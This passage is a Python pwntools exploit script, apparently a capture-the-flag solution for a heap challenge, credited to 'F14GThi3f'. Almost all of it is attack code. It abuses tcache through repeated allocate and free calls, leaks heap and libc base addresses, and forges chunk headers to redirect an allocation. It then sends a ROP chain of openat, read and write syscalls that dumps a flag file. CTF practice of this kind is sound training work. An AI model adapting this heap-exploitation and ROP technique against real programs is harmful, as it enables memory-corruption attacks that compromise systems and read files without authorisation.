    p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))

def magic():
    p.recvuntil('Your choice:')
    p.send(b'5'.ljust(0x10, b'\x00'))

byte = 0x4040C0

chunk_addr = 0
for i in range(3):  # index [0-2]
    add(0xC0)
        
for i in range(3):
    delete(i)

for i in range(7): # index [3-9]
    add(0x200)

for i in range(7):
    delete(i + 3)
    
for i in range(7): # index [9-16]
    add(0x130)
    
for i in range(7):
    delete(i + 3  + 7)
    
byte = 0x4040C0 - 0x10

add(0x200) # index 16
heap_base = int(p.recvline(), 16) - 0x2e20
add(0x200) # index 17 U
add(0x200) # index 18
heap_tmp = int(p.recvline(), 16)
flag_addr = heap_tmp + 0x8 * 4
add(0x200) # index 19 U
add(0x200) # index 20

delete(17)
show(17)
# 泄露libc地址
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
add(0x130) # index 21

delete(19)
add(0x130) # index 22

add(0x200)

# 设置
payload_chunk = b'a' * 0x130 + p64(0) + p64(0xD1) + p64(heap_base + 0x2f50) + p64(heap_tmp)
edit(19, payload_chunk)

edit(19, p64(0) + p64(0xD1) + p64(0) + p64(byte) + b'flag\x00')
add(0xC0)

# libc地址
pop_rax = libc_base + 0x0000000000036174
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
syscall = libc_base + 0x00000000000630a9

# gdb.attach(p, 'b *0x4016A9')

magic()
payload = b'a' * 0x30 + p64(0)
# openat
payload += p64(pop_rax) + p64(257)
payload += p64(pop_rdi) + p64(0xffffff9c)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(syscall)
# read
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# write
payload += p64(pop_rax) + p64(1)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
p.send(payload)


p.interactive()
By F14GThi3f On